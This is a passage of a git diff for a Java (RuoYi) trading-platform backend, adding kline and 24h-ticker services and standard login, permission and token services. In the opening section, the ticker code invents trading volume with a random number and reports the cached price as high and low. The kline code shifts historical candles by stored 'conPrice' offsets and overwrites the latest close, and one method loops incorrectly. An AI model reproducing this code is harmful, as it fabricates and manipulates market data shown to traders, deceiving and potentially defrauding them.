BigDecimal cacheObject = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + klineParamVO.getSymbol()); + ticker24hVO.setHighPrice(cacheObject); + ticker24hVO.setLowPrice(cacheObject); + Random random = new Random(); + + double randomValue = 0 + (1000 - 0) * random.nextDouble(); + ticker24hVO.setVolume(new BigDecimal(randomValue)); + return ticker24hVO; + } + Map parameters = new LinkedHashMap<>(); + SpotClient client = new SpotClientImpl(); + parameters.put("symbol", klineParamVO.getSymbol().toUpperCase() + "USDT"); + if("echo".equals(market)){ + KlineSymbol one = klineSymbolService.getOne(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, klineParamVO.getSymbol().toLowerCase())); + if(null == one){ + return null; + } + parameters.put("symbol", one.getReferCoin().toUpperCase() + "USDT"); + } + String result = client.createMarket().ticker24H(parameters); + Ticker24hVO ticker24hVO = JSON.parseObject(result, Ticker24hVO.class); + return ticker24hVO; + } + + public Ticker24hVO getHistoryKline24hrTicker2(KlineParamVO klineParamVO) { + //遍历传来的market参数数组 + Object marketValue = klineParamVO.getMarkets(); + // 如果 marketValue 是字符串数组,遍历数组元素执行条件判断 + String[] marketArray = (String[]) marketValue; + List dataList = new ArrayList<>(); + Map parameters = new LinkedHashMap<>(); + SpotClient client = new SpotClientImpl(); + //循环遍历所有数据来执行以下操作 + for (String market : marketArray) { + Object symbolValue = klineParamVO.getSymbols(); + // 如果 symbolValue 是字符串数组,遍历数组元素执行条件判断 + String[] symbolArray = (String[]) symbolValue; + for (String symbol : symbolArray) { + if (market.equals("metal") || market.equals("mt5")) { + Ticker24hVO ticker24hVO = new Ticker24hVO(); + + ticker24hVO.setSymbol(symbol); + BigDecimal cacheObject = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol); + ticker24hVO.setHighPrice(cacheObject); + ticker24hVO.setLowPrice(cacheObject); + Random random = new Random(); + double randomValue = 0 + (1000 - 0) * random.nextDouble(); + ticker24hVO.setVolume(new BigDecimal(randomValue)); + return ticker24hVO; + } + parameters.put("symbol", symbol.toUpperCase() + "USDT"); + if (market.equals("echo")) { + KlineSymbol one = klineSymbolService.getOne(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, symbol.toLowerCase())); + if (null == one) { + return null; + } + parameters.put("symbol", one.getReferCoin().toUpperCase() + "USDT"); + } + } + } + String result = client.createMarket().ticker24H(parameters); + Ticker24hVO ticker24hVO = JSON.parseObject(result, Ticker24hVO.class); + return ticker24hVO; + } + + public List getConPriceMap(KlineParamVO klineParamVO, List historyKline){ + TBotKlineModel tBotKlineModel = new TBotKlineModel(); + tBotKlineModel.setSymbol(klineParamVO.getSymbol()+"usdt"); + tBotKlineModel.setModel(0L); + List tBotKlineModels = botKlineModelService.selectTBotKlineModelList(tBotKlineModel); + BigDecimal cc = new BigDecimal(0); + int num = 0; + for (TBotKlineModel tBotKlineModel1: tBotKlineModels ) { + cc=cc.add( tBotKlineModel1.getConPrice()); + boolean isF = true; + int a = 0; + long time = tBotKlineModel1.getBeginTime().getTime(); + for (Kline kline: historyKline) { + + if(kline.getTimestamp()>=time){ + if(isF){ + double c = kline.getClose() + tBotKlineModel1.getConPrice().doubleValue(); + double h = kline.getHigh() + tBotKlineModel1.getConPrice().doubleValue(); + double l = kline.getLow() + tBotKlineModel1.getConPrice().doubleValue(); + kline.setClose(c); + if(h>kline.getHigh()){ + kline.setHigh(h); + } + if(l getConPriceMap2(KlineParamVO klineParamVO, List historyKline){ + TBotKlineModel tBotKlineModel = new TBotKlineModel(); + //遍历币种数组 + Object symbolValue = klineParamVO.getSymbols(); + // 如果 symbolValue 是字符串数组,遍历数组元素执行条件判断 + String[] symbolArray = (String[]) symbolValue; + for (String symbol : symbolArray) { + tBotKlineModel.setSymbol(symbol + "usdt"); + tBotKlineModel.setModel(0L); + List tBotKlineModels = botKlineModelService.selectTBotKlineModelList(tBotKlineModel); + BigDecimal cc = new BigDecimal(0); + int num = 0; + for (TBotKlineModel tBotKlineModel1 : tBotKlineModels) { + cc = cc.add(tBotKlineModel1.getConPrice()); + boolean isF = true; + int a = 0; + long time = tBotKlineModel1.getBeginTime().getTime(); + for (Kline kline : historyKline) { + + if (kline.getTimestamp() >= time) { + if (isF) { + double c = kline.getClose() + tBotKlineModel1.getConPrice().doubleValue(); + double h = kline.getHigh() + tBotKlineModel1.getConPrice().doubleValue(); + double l = kline.getLow() + tBotKlineModel1.getConPrice().doubleValue(); + kline.setClose(c); + if (h > kline.getHigh()) { + kline.setHigh(h); + } + if (l < kline.getLow()) { + kline.setLow(l); + } + isF = false; + } else { + double c = kline.getClose() + tBotKlineModel1.getConPrice().doubleValue(); + double h = kline.getHigh() + tBotKlineModel1.getConPrice().doubleValue(); + double l = kline.getLow() + tBotKlineModel1.getConPrice().doubleValue(); + double o = kline.getOpen() + tBotKlineModel1.getConPrice().doubleValue(); + kline.setClose(c); + kline.setHigh(h); + kline.setLow(l); + kline.setOpen(o); + } + } + + a++; + if (a == historyKline.size()) { + BigDecimal cacheObject = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol.replace("usdt", "").toLowerCase()); + kline.setClose(cacheObject.doubleValue()); + } + + } + + num++; + } + } + return historyKline; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/HuobiService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/HuobiService.java new file mode 100644 index 0000000..8dc5f83 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/HuobiService.java @@ -0,0 +1,14 @@ +package com.ruoyi.framework.web.service; + +import com.alibaba.fastjson2.JSONObject; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.framework.web.domain.KlineParamVO; +import org.jvnet.hk2.annotations.Service; +import java.util.ArrayList; +import java.util.List; +import java.util.concurrent.atomic.AtomicReference; + +@Service +public class HuobiService { + +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/PermissionService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/PermissionService.java new file mode 100644 index 0000000..c2f97a1 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/PermissionService.java @@ -0,0 +1,168 @@ +package com.ruoyi.framework.web.service; + +import java.util.Set; +import org.springframework.stereotype.Service; +import org.springframework.util.CollectionUtils; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.security.context.PermissionContextHolder; + +/** + * RuoYi首创 自定义权限实现,ss取自SpringSecurity首字母 + * + * @author ruoyi + */ +@Service("ss") +public class PermissionService +{ + /** 所有权限标识 */ + private static final String ALL_PERMISSION = "*:*:*"; + + /** 管理员角色权限标识 */ + private static final String SUPER_ADMIN = "admin"; + + private static final String ROLE_DELIMETER = ","; + + private static final String PERMISSION_DELIMETER = ","; + + /** + * 验证用户是否具备某权限 + * + * @param permission 权限字符串 + * @return 用户是否具备某权限 + */ + public boolean hasPermi(String permission) + { + if (StringUtils.isEmpty(permission)) + { + return false; + } + LoginUser loginUser = SecurityUtils.getLoginUser(); + if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getPermissions())) + { + return false; + } + PermissionContextHolder.setContext(permission); + return hasPermissions(loginUser.getPermissions(), permission); + } + + /** + * 验证用户是否不具备某权限,与 hasPermi逻辑相反 + * + * @param permission 权限字符串 + * @return 用户是否不具备某权限 + */ + public boolean lacksPermi(String permission) + { + return hasPermi(permission) != true; + } + + /** + * 验证用户是否具有以下任意一个权限 + * + * @param permissions 以 PERMISSION_NAMES_DELIMETER 为分隔符的权限列表 + * @return 用户是否具有以下任意一个权限 + */ + public boolean hasAnyPermi(String permissions) + { + if (StringUtils.isEmpty(permissions)) + { + return false; + } + LoginUser loginUser = SecurityUtils.getLoginUser(); + if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getPermissions())) + { + return false; + } + PermissionContextHolder.setContext(permissions); + Set authorities = loginUser.getPermissions(); + for (String permission : permissions.split(PERMISSION_DELIMETER)) + { + if (permission != null && hasPermissions(authorities, permission)) + { + return true; + } + } + return false; + } + + /** + * 判断用户是否拥有某个角色 + * + * @param role 角色字符串 + * @return 用户是否具备某角色 + */ + public boolean hasRole(String role) + { + if (StringUtils.isEmpty(role)) + { + return false; + } + LoginUser loginUser = SecurityUtils.getLoginUser(); + if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getUser().getRoles())) + { + return false; + } + for (SysRole sysRole : loginUser.getUser().getRoles()) + { + String roleKey = sysRole.getRoleKey(); + if (SUPER_ADMIN.equals(roleKey) || roleKey.equals(StringUtils.trim(role))) + { + return true; + } + } + return false; + } + + /** + * 验证用户是否不具备某角色,与 isRole逻辑相反。 + * + * @param role 角色名称 + * @return 用户是否不具备某角色 + */ + public boolean lacksRole(String role) + { + return hasRole(role) != true; + } + + /** + * 验证用户是否具有以下任意一个角色 + * + * @param roles 以 ROLE_NAMES_DELIMETER 为分隔符的角色列表 + * @return 用户是否具有以下任意一个角色 + */ + public boolean hasAnyRoles(String roles) + { + if (StringUtils.isEmpty(roles)) + { + return false; + } + LoginUser loginUser = SecurityUtils.getLoginUser(); + if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getUser().getRoles())) + { + return false; + } + for (String role : roles.split(ROLE_DELIMETER)) + { + if (hasRole(role)) + { + return true; + } + } + return false; + } + + /** + * 判断是否包含权限 + * + * @param permissions 权限列表 + * @param permission 权限字符串 + * @return 用户是否具备某权限 + */ + private boolean hasPermissions(Set permissions, String permission) + { + return permissions.contains(ALL_PERMISSION) || permissions.contains(StringUtils.trim(permission)); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java new file mode 100644 index 0000000..6fa8eee --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java @@ -0,0 +1,186 @@ +package com.ruoyi.framework.web.service; + +import javax.annotation.Resource; + +import com.ruoyi.bussiness.domain.setting.MarketUrlSetting; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.authentication.AuthenticationManager; +import org.springframework.security.authentication.BadCredentialsException; +import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; +import org.springframework.security.core.Authentication; +import org.springframework.stereotype.Component; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.exception.user.BlackListException; +import com.ruoyi.common.exception.user.CaptchaException; +import com.ruoyi.common.exception.user.CaptchaExpireException; +import com.ruoyi.common.exception.user.UserNotExistsException; +import com.ruoyi.common.exception.user.UserPasswordNotMatchException; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.ip.IpUtils; +import com.ruoyi.framework.manager.AsyncManager; +import com.ruoyi.framework.manager.factory.AsyncFactory; +import com.ruoyi.framework.security.context.AuthenticationContextHolder; +import com.ruoyi.system.service.ISysConfigService; +import com.ruoyi.system.service.ISysUserService; + +/** + * 登录校验方法 + * + * @author ruoyi + */ +@Component +public class SysLoginService +{ + @Autowired + private TokenService tokenService; + + @Resource + private AuthenticationManager authenticationManager; + + @Autowired + private RedisCache redisCache; + + @Autowired + private ISysUserService userService; + + @Autowired + private ISysConfigService configService; + + /** + * 登录验证 + * + * @param username 用户名 + * @param password 密码 + * @param code 验证码 + * @param uuid 唯一标识 + * @param marketUrl + * @return 结果 + */ + public String login(String username, String password, String code, String uuid, MarketUrlSetting marketUrl) + { + // 验证码校验 + if(marketUrl.getAdminCode()){ + validateCaptcha(username, code, uuid); + } + // 登录前置校验 + loginPreCheck(username, password); + // 用户验证 + Authentication authentication = null; + try + { + UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(username, password); + AuthenticationContextHolder.setContext(authenticationToken); + // 该方法会去调用UserDetailsServiceImpl.loadUserByUsername + authentication = authenticationManager.authenticate(authenticationToken); + } + catch (Exception e) + { + if (e instanceof BadCredentialsException) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match"))); + throw new UserPasswordNotMatchException(); + } + else + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, e.getMessage())); + throw new ServiceException(e.getMessage()); + } + } + finally + { + AuthenticationContextHolder.clearContext(); + } + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_SUCCESS, MessageUtils.message("user.login.success"))); + LoginUser loginUser = (LoginUser) authentication.getPrincipal(); + recordLoginInfo(loginUser.getUserId()); + // 生成token + return tokenService.createToken(loginUser); + } + + /** + * 校验验证码 + * + * @param username 用户名 + * @param code 验证码 + * @param uuid 唯一标识 + * @return 结果 + */ + public void validateCaptcha(String username, String code, String uuid) + { + boolean captchaEnabled = configService.selectCaptchaEnabled(); + if (captchaEnabled) + { + String verifyKey = CacheConstants.CAPTCHA_CODE_KEY + StringUtils.nvl(uuid, ""); + String captcha = redisCache.getCacheObject(verifyKey); + redisCache.deleteObject(verifyKey); + if (captcha == null) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire"))); + throw new CaptchaExpireException(); + } + if (!code.equalsIgnoreCase(captcha)) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error"))); + throw new CaptchaException(); + } + } + } + + /** + * 登录前置校验 + * @param username 用户名 + * @param password 用户密码 + */ + public void loginPreCheck(String username, String password) + { + // 用户名或密码为空 错误 + if (StringUtils.isEmpty(username) || StringUtils.isEmpty(password)) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("not.null"))); + throw new UserNotExistsException(); + } + // 密码如果不在指定范围内 错误 + if (password.length() < UserConstants.PASSWORD_MIN_LENGTH + || password.length() > UserConstants.PASSWORD_MAX_LENGTH) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match"))); + throw new UserPasswordNotMatchException(); + } + // 用户名不在指定范围内 错误 + if (username.length() < UserConstants.USERNAME_MIN_LENGTH + || username.length() > UserConstants.USERNAME_MAX_LENGTH) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match"))); + throw new UserPasswordNotMatchException(); + } + // IP黑名单校验 + String blackStr = configService.selectConfigByKey("sys.login.blackIPList"); + if (IpUtils.isMatchedIp(blackStr, IpUtils.getIpAddr())) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("login.blocked"))); + throw new BlackListException(); + } + } + + /** + * 记录登录信息 + * + * @param userId 用户ID + */ + public void recordLoginInfo(Long userId) + { + SysUser sysUser = new SysUser(); + sysUser.setUserId(userId); + sysUser.setLoginIp(IpUtils.getIpAddr()); + sysUser.setLoginDate(DateUtils.getNowDate()); + userService.updateUserProfile(sysUser); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPasswordService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPasswordService.java new file mode 100644 index 0000000..6ad91b0 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPasswordService.java @@ -0,0 +1,94 @@ +package com.ruoyi.framework.web.service; + +import java.util.concurrent.TimeUnit; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.security.core.Authentication; +import org.springframework.stereotype.Component; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.exception.user.UserPasswordNotMatchException; +import com.ruoyi.common.exception.user.UserPasswordRetryLimitExceedException; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.framework.manager.AsyncManager; +import com.ruoyi.framework.manager.factory.AsyncFactory; +import com.ruoyi.framework.security.context.AuthenticationContextHolder; + +/** + * 登录密码方法 + * + * @author ruoyi + */ +@Component +public class SysPasswordService +{ + @Autowired + private RedisCache redisCache; + + @Value(value = "${user.password.maxRetryCount}") + private int maxRetryCount; + + @Value(value = "${user.password.lockTime}") + private int lockTime; + + /** + * 登录账户密码错误次数缓存键名 + * + * @param username 用户名 + * @return 缓存键key + */ + private String getCacheKey(String username) + { + return CacheConstants.PWD_ERR_CNT_KEY + username; + } + + public void validate(SysUser user) + { + Authentication usernamePasswordAuthenticationToken = AuthenticationContextHolder.getContext(); + String username = usernamePasswordAuthenticationToken.getName(); + String password = usernamePasswordAuthenticationToken.getCredentials().toString(); + + Integer retryCount = redisCache.getCacheObject(getCacheKey(username)); + + if (retryCount == null) + { + retryCount = 0; + } + + if (retryCount >= Integer.valueOf(maxRetryCount).intValue()) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, + MessageUtils.message("user.password.retry.limit.exceed", maxRetryCount, lockTime))); + throw new UserPasswordRetryLimitExceedException(maxRetryCount, lockTime); + } + + if (!matches(user, password)) + { + retryCount = retryCount + 1; + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, + MessageUtils.message("user.password.retry.limit.count", retryCount))); + redisCache.setCacheObject(getCacheKey(username), retryCount, lockTime, TimeUnit.MINUTES); + throw new UserPasswordNotMatchException(); + } + else + { + clearLoginRecordCache(username); + } + } + + public boolean matches(SysUser user, String rawPassword) + { + return SecurityUtils.matchesPassword(rawPassword, user.getPassword()); + } + + public void clearLoginRecordCache(String loginName) + { + if (redisCache.hasKey(getCacheKey(loginName))) + { + redisCache.deleteObject(getCacheKey(loginName)); + } + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPermissionService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPermissionService.java new file mode 100644 index 0000000..d1fb4ed --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPermissionService.java @@ -0,0 +1,83 @@ +package com.ruoyi.framework.web.service; + +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.system.service.ISysMenuService; +import com.ruoyi.system.service.ISysRoleService; + +/** + * 用户权限处理 + * + * @author ruoyi + */ +@Component +public class SysPermissionService +{ + @Autowired + private ISysRoleService roleService; + + @Autowired + private ISysMenuService menuService; + + /** + * 获取角色数据权限 + * + * @param user 用户信息 + * @return 角色权限信息 + */ + public Set getRolePermission(SysUser user) + { + Set roles = new HashSet(); + // 管理员拥有所有权限 + if (user.isAdmin()) + { + roles.add("admin"); + } + else + { + roles.addAll(roleService.selectRolePermissionByUserId(user.getUserId())); + } + return roles; + } + + /** + * 获取菜单数据权限 + * + * @param user 用户信息 + * @return 菜单权限信息 + */ + public Set getMenuPermission(SysUser user) + { + Set perms = new HashSet(); + // 管理员拥有所有权限 + if (user.isAdmin()) + { + perms.add("*:*:*"); + } + else + { + List roles = user.getRoles(); + if (!CollectionUtils.isEmpty(roles)) + { + // 多角色设置permissions属性,以便数据权限匹配权限 + for (SysRole role : roles) + { + Set rolePerms = menuService.selectMenuPermsByRoleId(role.getRoleId()); + role.setPermissions(rolePerms); + perms.addAll(rolePerms); + } + } + else + { + perms.addAll(menuService.selectMenuPermsByUserId(user.getUserId())); + } + } + return perms; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysRegisterService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysRegisterService.java new file mode 100644 index 0000000..f2afe31 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysRegisterService.java @@ -0,0 +1,115 @@ +package com.ruoyi.framework.web.service; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.RegisterBody; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.exception.user.CaptchaException; +import com.ruoyi.common.exception.user.CaptchaExpireException; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.manager.AsyncManager; +import com.ruoyi.framework.manager.factory.AsyncFactory; +import com.ruoyi.system.service.ISysConfigService; +import com.ruoyi.system.service.ISysUserService; + +/** + * 注册校验方法 + * + * @author ruoyi + */ +@Component +public class SysRegisterService +{ + @Autowired + private ISysUserService userService; + + @Autowired + private ISysConfigService configService; + + @Autowired + private RedisCache redisCache; + + /** + * 注册 + */ + public String register(RegisterBody registerBody) + { + String msg = "", username = registerBody.getUsername(), password = registerBody.getPassword(); + SysUser sysUser = new SysUser(); + sysUser.setUserName(username); + + // 验证码开关 + boolean captchaEnabled = configService.selectCaptchaEnabled(); + if (captchaEnabled) + { + validateCaptcha(username, registerBody.getCode(), registerBody.getUuid()); + } + + if (StringUtils.isEmpty(username)) + { + msg = "用户名不能为空"; + } + else if (StringUtils.isEmpty(password)) + { + msg = "用户密码不能为空"; + } + else if (username.length() < UserConstants.USERNAME_MIN_LENGTH + || username.length() > UserConstants.USERNAME_MAX_LENGTH) + { + msg = "账户长度必须在2到20个字符之间"; + } + else if (password.length() < UserConstants.PASSWORD_MIN_LENGTH + || password.length() > UserConstants.PASSWORD_MAX_LENGTH) + { + msg = "密码长度必须在5到20个字符之间"; + } + else if (!userService.checkUserNameUnique(sysUser)) + { + msg = "保存用户'" + username + "'失败,注册账号已存在"; + } + else + { + sysUser.setNickName(username); + sysUser.setPassword(SecurityUtils.encryptPassword(password)); + boolean regFlag = userService.registerUser(sysUser); + if (!regFlag) + { + msg = "注册失败,请联系系统管理人员"; + } + else + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.REGISTER, MessageUtils.message("user.register.success"))); + } + } + return msg; + } + + /** + * 校验验证码 + * + * @param username 用户名 + * @param code 验证码 + * @param uuid 唯一标识 + * @return 结果 + */ + public void validateCaptcha(String username, String code, String uuid) + { + String verifyKey = CacheConstants.CAPTCHA_CODE_KEY + StringUtils.nvl(uuid, ""); + String captcha = redisCache.getCacheObject(verifyKey); + redisCache.deleteObject(verifyKey); + if (captcha == null) + { + throw new CaptchaExpireException(); + } + if (!code.equalsIgnoreCase(captcha)) + { + throw new CaptchaException(); + } + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java new file mode 100644 index 0000000..de79e43 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java @@ -0,0 +1,226 @@ +package com.ruoyi.framework.web.service; + +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import javax.servlet.http.HttpServletRequest; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.utils.ServletUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.ip.AddressUtils; +import com.ruoyi.common.utils.ip.IpUtils; +import com.ruoyi.common.utils.uuid.IdUtils; +import eu.bitwalker.useragentutils.UserAgent; +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.SignatureAlgorithm; + +/** + * token验证处理 + * + * @author ruoyi + */ +@Component +public class TokenService +{ + // 令牌自定义标识 + @Value("${token.header}") + private String header; + + // 令牌秘钥 + @Value("${token.secret}") + private String secret; + + // 令牌有效期(默认30分钟) + @Value("${token.expireTime}") + private int expireTime; + + protected static final long MILLIS_SECOND = 1000; + + protected static final long MILLIS_MINUTE = 60 * MILLIS_SECOND; + + private static final Long MILLIS_MINUTE_TEN = 20 * 60 * 1000L; + + @Autowired + private RedisCache redisCache; + + /** + * 获取用户身份信息 + * + * @return 用户信息 + */ + public LoginUser getLoginUser(HttpServletRequest request) + { + // 获取请求携带的令牌 + String token = getToken(request); + if (StringUtils.isNotEmpty(token)) + { + try + { + Claims claims = parseToken(token); + // 解析对应的权限以及用户信息 + String uuid = (String) claims.get(Constants.LOGIN_USER_KEY); + String userKey = getTokenKey(uuid); + LoginUser user = redisCache.getCacheObject(userKey); + return user; + } + catch (Exception e) + { + } + } + return null; + } + + /** + * 设置用户身份信息 + */ + public void setLoginUser(LoginUser loginUser) + { + if (StringUtils.isNotNull(loginUser) && StringUtils.isNotEmpty(loginUser.getToken())) + { + refreshToken(loginUser); + } + } + + /** + * 删除用户身份信息 + */ + public void delLoginUser(String token) + { + if (StringUtils.isNotEmpty(token)) + { + String userKey = getTokenKey(token); + redisCache.deleteObject(userKey); + } + } + + /** + * 创建令牌 + * + * @param loginUser 用户信息 + * @return 令牌 + */ + public String createToken(LoginUser loginUser) + { + String token = IdUtils.fastUUID(); + loginUser.setToken(token); + setUserAgent(loginUser); + refreshToken(loginUser); + + Map claims = new HashMap<>(); + claims.put(Constants.LOGIN_USER_KEY, token); + return createToken(claims); + } + + /** + * 验证令牌有效期,相差不足20分钟,自动刷新缓存 + * + * @param loginUser + * @return 令牌 + */ + public void verifyToken(LoginUser loginUser) + { + long expireTime = loginUser.getExpireTime(); + long currentTime = System.currentTimeMillis(); + if (expireTime - currentTime <= MILLIS_MINUTE_TEN) + { + refreshToken(loginUser); + } + } + + /** + * 刷新令牌有效期 + * + * @param loginUser 登录信息 + */ + public void refreshToken(LoginUser loginUser) + { + loginUser.setLoginTime(System.currentTimeMillis()); + loginUser.setExpireTime(loginUser.getLoginTime() + expireTime * MILLIS_MINUTE); + // 根据uuid将loginUser缓存 + String userKey = getTokenKey(loginUser.getToken()); + redisCache.setCacheObject(userKey, loginUser, expireTime, TimeUnit.MINUTES); + } + + /** + * 设置用户代理信息 + * + * @param loginUser 登录信息 + */ + public void setUserAgent(LoginUser loginUser) + { + UserAgent userAgent = UserAgent.parseUserAgentString(ServletUtils.getRequest().getHeader("User-Agent")); + String ip = IpUtils.getIpAddr(); + loginUser.setIpaddr(ip); + loginUser.setLoginLocation(AddressUtils.getRealAddressByIP(ip)); + loginUser.setBrowser(userAgent.getBrowser().getName()); + loginUser.setOs(userAgent.getOperatingSystem().getName()); + } + + /** + * 从数据声明生成令牌 + * + * @param claims 数据声明 + * @return 令牌 + */ + private String createToken(Map claims) + { + String token = Jwts.builder() + .setClaims(claims) + .signWith(SignatureAlgorithm.HS512, secret).compact(); + return token; + } + + /** + * 从令牌中获取数据声明 + * + * @param token 令牌 + * @return 数据声明 + */ + private Claims parseToken(String token) + { + return Jwts.parser() + .setSigningKey(secret) + .parseClaimsJws(token) + .getBody(); + } + + /** + * 从令牌中获取用户名 + * + * @param token 令牌 + * @return 用户名 + */ + public String getUsernameFromToken(String token) + { + Claims claims = parseToken(token); + return claims.getSubject(); + } + + /** + * 获取请求token + * + * @param request + * @return token + */ + private String getToken(HttpServletRequest request) + { + String token = request.getHeader(header); + if (StringUtils.isNotEmpty(token) && token.startsWith(Constants.TOKEN_PREFIX)) + { + token = token.replace(Constants.TOKEN_PREFIX, ""); + } + return token; + } + + private String getTokenKey(String uuid) + { + return CacheConstants.LOGIN_TOKEN_KEY + uuid; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/UserDetailsServiceImpl.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/UserDetailsServiceImpl.java new file mode 100644 index 0000000..224f325 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/UserDetailsServiceImpl.java @@ -0,0 +1,65 @@ +package com.ruoyi.framework.web.service; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.core.userdetails.UserDetails; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.core.userdetails.UsernameNotFoundException; +import org.springframework.stereotype.Service; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.enums.UserStatus; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.service.ISysUserService; + +/** + * 用户验证处理 + * + * @author ruoyi + */ +@Service +public class UserDetailsServiceImpl implements UserDetailsService +{ + private static final Logger log = LoggerFactory.getLogger(UserDetailsServiceImpl.class); + + @Autowired + private ISysUserService userService; + + @Autowired + private SysPasswordService passwordService; + + @Autowired + private 